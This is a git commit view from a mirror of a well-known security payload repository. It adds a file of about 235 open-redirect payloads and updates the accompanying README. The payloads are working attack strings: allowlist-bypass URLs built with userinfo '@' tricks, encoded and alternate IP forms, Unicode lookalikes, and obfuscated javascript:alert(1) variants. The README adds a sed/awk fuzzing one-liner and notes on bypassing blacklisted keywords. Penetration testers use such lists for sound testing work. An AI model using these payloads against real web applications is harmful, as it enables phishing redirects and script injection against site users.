mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
Open Redirect Payloads updated
This commit is contained in:
parent
6070ece522
commit
c4b49fa5ac
235
Open redirect/Open-Redirect-payloads.txt
Normal file
235
Open redirect/Open-Redirect-payloads.txt
Normal file
@ -0,0 +1,235 @@
|
||||
//google.com/%2f..
|
||||
//www.whitelisteddomain.tld@google.com/%2f..
|
||||
///google.com/%2f..
|
||||
///www.whitelisteddomain.tld@google.com/%2f..
|
||||
////google.com/%2f..
|
||||
////www.whitelisteddomain.tld@google.com/%2f..
|
||||
https://google.com/%2f..
|
||||
https://www.whitelisteddomain.tld@google.com/%2f..
|
||||
/https://google.com/%2f..
|
||||
/https://www.whitelisteddomain.tld@google.com/%2f..
|
||||
//www.google.com/%2f%2e%2e
|
||||
//www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
///www.google.com/%2f%2e%2e
|
||||
///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
////www.google.com/%2f%2e%2e
|
||||
////www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
https://www.google.com/%2f%2e%2e
|
||||
https://www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
/https://www.google.com/%2f%2e%2e
|
||||
/https://www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
//google.com/
|
||||
//www.whitelisteddomain.tld@google.com/
|
||||
///google.com/
|
||||
///www.whitelisteddomain.tld@google.com/
|
||||
////google.com/
|
||||
////www.whitelisteddomain.tld@google.com/
|
||||
https://google.com/
|
||||
https://www.whitelisteddomain.tld@google.com/
|
||||
/https://google.com/
|
||||
/https://www.whitelisteddomain.tld@google.com/
|
||||
//google.com//
|
||||
//www.whitelisteddomain.tld@google.com//
|
||||
///google.com//
|
||||
///www.whitelisteddomain.tld@google.com//
|
||||
////google.com//
|
||||
////www.whitelisteddomain.tld@google.com//
|
||||
https://google.com//
|
||||
https://www.whitelisteddomain.tld@google.com//
|
||||
//https://google.com//
|
||||
//https://www.whitelisteddomain.tld@google.com//
|
||||
//www.google.com/%2e%2e%2f
|
||||
//www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
|
||||
///www.google.com/%2e%2e%2f
|
||||
///www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
|
||||
////www.google.com/%2e%2e%2f
|
||||
////www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
|
||||
https://www.google.com/%2e%2e%2f
|
||||
https://www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
|
||||
//https://www.google.com/%2e%2e%2f
|
||||
//https://www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
|
||||
///www.google.com/%2e%2e
|
||||
///www.whitelisteddomain.tld@www.google.com/%2e%2e
|
||||
////www.google.com/%2e%2e
|
||||
////www.whitelisteddomain.tld@www.google.com/%2e%2e
|
||||
https:///www.google.com/%2e%2e
|
||||
https:///www.whitelisteddomain.tld@www.google.com/%2e%2e
|
||||
//https:///www.google.com/%2e%2e
|
||||
//www.whitelisteddomain.tld@https:///www.google.com/%2e%2e
|
||||
/https://www.google.com/%2e%2e
|
||||
/https://www.whitelisteddomain.tld@www.google.com/%2e%2e
|
||||
///www.google.com/%2f%2e%2e
|
||||
///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
////www.google.com/%2f%2e%2e
|
||||
////www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
https:///www.google.com/%2f%2e%2e
|
||||
https:///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
/https://www.google.com/%2f%2e%2e
|
||||
/https://www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
/https:///www.google.com/%2f%2e%2e
|
||||
/https:///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
|
||||
/%09/google.com
|
||||
/%09/www.whitelisteddomain.tld@google.com
|
||||
//%09/google.com
|
||||
//%09/www.whitelisteddomain.tld@google.com
|
||||
///%09/google.com
|
||||
///%09/www.whitelisteddomain.tld@google.com
|
||||
////%09/google.com
|
||||
////%09/www.whitelisteddomain.tld@google.com
|
||||
https://%09/google.com
|
||||
https://%09/www.whitelisteddomain.tld@google.com
|
||||
/%5cgoogle.com
|
||||
/%5cwww.whitelisteddomain.tld@google.com
|
||||
//%5cgoogle.com
|
||||
//%5cwww.whitelisteddomain.tld@google.com
|
||||
///%5cgoogle.com
|
||||
///%5cwww.whitelisteddomain.tld@google.com
|
||||
////%5cgoogle.com
|
||||
////%5cwww.whitelisteddomain.tld@google.com
|
||||
https://%5cgoogle.com
|
||||
https://%5cwww.whitelisteddomain.tld@google.com
|
||||
/https://%5cgoogle.com
|
||||
/https://%5cwww.whitelisteddomain.tld@google.com
|
||||
https://google.com
|
||||
https://www.whitelisteddomain.tld@google.com
|
||||
javascript:alert(1);
|
||||
javascript:alert(1)
|
||||
//javascript:alert(1);
|
||||
/javascript:alert(1);
|
||||
//javascript:alert(1)
|
||||
/javascript:alert(1)
|
||||
/%5cjavascript:alert(1);
|
||||
/%5cjavascript:alert(1)
|
||||
//%5cjavascript:alert(1);
|
||||
//%5cjavascript:alert(1)
|
||||
/%09/javascript:alert(1);
|
||||
/%09/javascript:alert(1)
|
||||
java%0d%0ascript%0d%0a:alert(0)
|
||||
//google.com
|
||||
https:google.com
|
||||
//google%E3%80%82com
|
||||
\/\/google.com/
|
||||
/\/google.com/
|
||||
//google%00.com
|
||||
https://www.whitelisteddomain.tld/https://www.google.com/
|
||||
";alert(0);//
|
||||
javascript://www.whitelisteddomain.tld?%a0alert%281%29
|
||||
http://0xd8.0x3a.0xd6.0xce
|
||||
http://www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
|
||||
http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
|
||||
http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
|
||||
http://0xd83ad6ce
|
||||
http://www.whitelisteddomain.tld@0xd83ad6ce
|
||||
http://3H6k7lIAiqjfNeN@0xd83ad6ce
|
||||
http://XY>.7d8T\205pZM@0xd83ad6ce
|
||||
http://3627734734
|
||||
http://www.whitelisteddomain.tld@3627734734
|
||||
http://3H6k7lIAiqjfNeN@3627734734
|
||||
http://XY>.7d8T\205pZM@3627734734
|
||||
http://472.314.470.462
|
||||
http://www.whitelisteddomain.tld@472.314.470.462
|
||||
http://3H6k7lIAiqjfNeN@472.314.470.462
|
||||
http://XY>.7d8T\205pZM@472.314.470.462
|
||||
http://0330.072.0326.0316
|
||||
http://www.whitelisteddomain.tld@0330.072.0326.0316
|
||||
http://3H6k7lIAiqjfNeN@0330.072.0326.0316
|
||||
http://XY>.7d8T\205pZM@0330.072.0326.0316
|
||||
http://00330.00072.0000326.00000316
|
||||
http://www.whitelisteddomain.tld@00330.00072.0000326.00000316
|
||||
http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
|
||||
http://XY>.7d8T\205pZM@00330.00072.0000326.00000316
|
||||
http://[::216.58.214.206]
|
||||
http://www.whitelisteddomain.tld@[::216.58.214.206]
|
||||
http://3H6k7lIAiqjfNeN@[::216.58.214.206]
|
||||
http://XY>.7d8T\205pZM@[::216.58.214.206]
|
||||
http://[::ffff:216.58.214.206]
|
||||
http://www.whitelisteddomain.tld@[::ffff:216.58.214.206]
|
||||
http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
|
||||
http://XY>.7d8T\205pZM@[::ffff:216.58.214.206]
|
||||
http://0xd8.072.54990
|
||||
http://www.whitelisteddomain.tld@0xd8.072.54990
|
||||
http://3H6k7lIAiqjfNeN@0xd8.072.54990
|
||||
http://XY>.7d8T\205pZM@0xd8.072.54990
|
||||
http://0xd8.3856078
|
||||
http://www.whitelisteddomain.tld@0xd8.3856078
|
||||
http://3H6k7lIAiqjfNeN@0xd8.3856078
|
||||
http://XY>.7d8T\205pZM@0xd8.3856078
|
||||
http://00330.3856078
|
||||
http://www.whitelisteddomain.tld@00330.3856078
|
||||
http://3H6k7lIAiqjfNeN@00330.3856078
|
||||
http://XY>.7d8T\205pZM@00330.3856078
|
||||
http://00330.0x3a.54990
|
||||
http://www.whitelisteddomain.tld@00330.0x3a.54990
|
||||
http://3H6k7lIAiqjfNeN@00330.0x3a.54990
|
||||
http://XY>.7d8T\205pZM@00330.0x3a.54990
|
||||
http:0xd8.0x3a.0xd6.0xce
|
||||
http:www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
|
||||
http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
|
||||
http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
|
||||
http:0xd83ad6ce
|
||||
http:www.whitelisteddomain.tld@0xd83ad6ce
|
||||
http:3H6k7lIAiqjfNeN@0xd83ad6ce
|
||||
http:XY>.7d8T\205pZM@0xd83ad6ce
|
||||
http:3627734734
|
||||
http:www.whitelisteddomain.tld@3627734734
|
||||
http:3H6k7lIAiqjfNeN@3627734734
|
||||
http:XY>.7d8T\205pZM@3627734734
|
||||
http:472.314.470.462
|
||||
http:www.whitelisteddomain.tld@472.314.470.462
|
||||
http:3H6k7lIAiqjfNeN@472.314.470.462
|
||||
http:XY>.7d8T\205pZM@472.314.470.462
|
||||
http:0330.072.0326.0316
|
||||
http:www.whitelisteddomain.tld@0330.072.0326.0316
|
||||
http:3H6k7lIAiqjfNeN@0330.072.0326.0316
|
||||
http:XY>.7d8T\205pZM@0330.072.0326.0316
|
||||
http:00330.00072.0000326.00000316
|
||||
http:www.whitelisteddomain.tld@00330.00072.0000326.00000316
|
||||
http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
|
||||
http:XY>.7d8T\205pZM@00330.00072.0000326.00000316
|
||||
http:[::216.58.214.206]
|
||||
http:www.whitelisteddomain.tld@[::216.58.214.206]
|
||||
http:3H6k7lIAiqjfNeN@[::216.58.214.206]
|
||||
http:XY>.7d8T\205pZM@[::216.58.214.206]
|
||||
http:[::ffff:216.58.214.206]
|
||||
http:www.whitelisteddomain.tld@[::ffff:216.58.214.206]
|
||||
http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
|
||||
http:XY>.7d8T\205pZM@[::ffff:216.58.214.206]
|
||||
http:0xd8.072.54990
|
||||
http:www.whitelisteddomain.tld@0xd8.072.54990
|
||||
http:3H6k7lIAiqjfNeN@0xd8.072.54990
|
||||
http:XY>.7d8T\205pZM@0xd8.072.54990
|
||||
http:0xd8.3856078
|
||||
http:www.whitelisteddomain.tld@0xd8.3856078
|
||||
http:3H6k7lIAiqjfNeN@0xd8.3856078
|
||||
http:XY>.7d8T\205pZM@0xd8.3856078
|
||||
http:00330.3856078
|
||||
http:www.whitelisteddomain.tld@00330.3856078
|
||||
http:3H6k7lIAiqjfNeN@00330.3856078
|
||||
http:XY>.7d8T\205pZM@00330.3856078
|
||||
http:00330.0x3a.54990
|
||||
http:www.whitelisteddomain.tld@00330.0x3a.54990
|
||||
http:3H6k7lIAiqjfNeN@00330.0x3a.54990
|
||||
http:XY>.7d8T\205pZM@00330.0x3a.54990
|
||||
〱google.com
|
||||
〵google.com
|
||||
ゝgoogle.com
|
||||
ーgoogle.com
|
||||
ーgoogle.com
|
||||
/〱google.com
|
||||
/〵google.com
|
||||
/ゝgoogle.com
|
||||
/ーgoogle.com
|
||||
/ーgoogle.com
|
||||
%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
|
||||
http://%67%6f%6f%67%6c%65%2e%63%6f%6d
|
||||
<>javascript:alert(1);
|
||||
<>//google.com
|
||||
//google.com\@www.whitelisteddomain.tld
|
||||
https://:@google.com\@www.whitelisteddomain.tld
|
||||
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
|
||||
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
|
||||
ja\nva\tscript\r:alert(1)
|
||||
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
|
||||
\152\141\166\141\163\143\162\151\160\164\072alert(1)
|
||||
http://google.com:80#@www.whitelisteddomain.tld/
|
||||
http://google.com:80?@www.whitelisteddomain.tld/
|
@ -1,7 +1,15 @@
|
||||
# Open URL Redirection
|
||||
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.
|
||||
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.
|
||||
|
||||
## Exploits
|
||||
## Fuzzing
|
||||
Replace www.whitelisteddomain.tld from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case
|
||||
|
||||
To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.
|
||||
```
|
||||
WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
Using CRLF to bypass "javascript" blacklisted keyword
|
||||
```
|
||||
@ -21,7 +29,7 @@ https:google.com
|
||||
Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //)
|
||||
```
|
||||
\/\/google.com/
|
||||
/\/google.com/
|
||||
/\/google.com/
|
||||
```
|
||||
|
||||
|
||||
@ -66,4 +74,5 @@ http://www.example.com/redirect.php?url=javascript:prompt(1)
|
||||
|
||||
## Thanks to
|
||||
* filedescriptor
|
||||
* https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
|
||||
* https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
|
||||
* [Cujanovic - Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
|
Loading…
Reference in New Issue
Block a user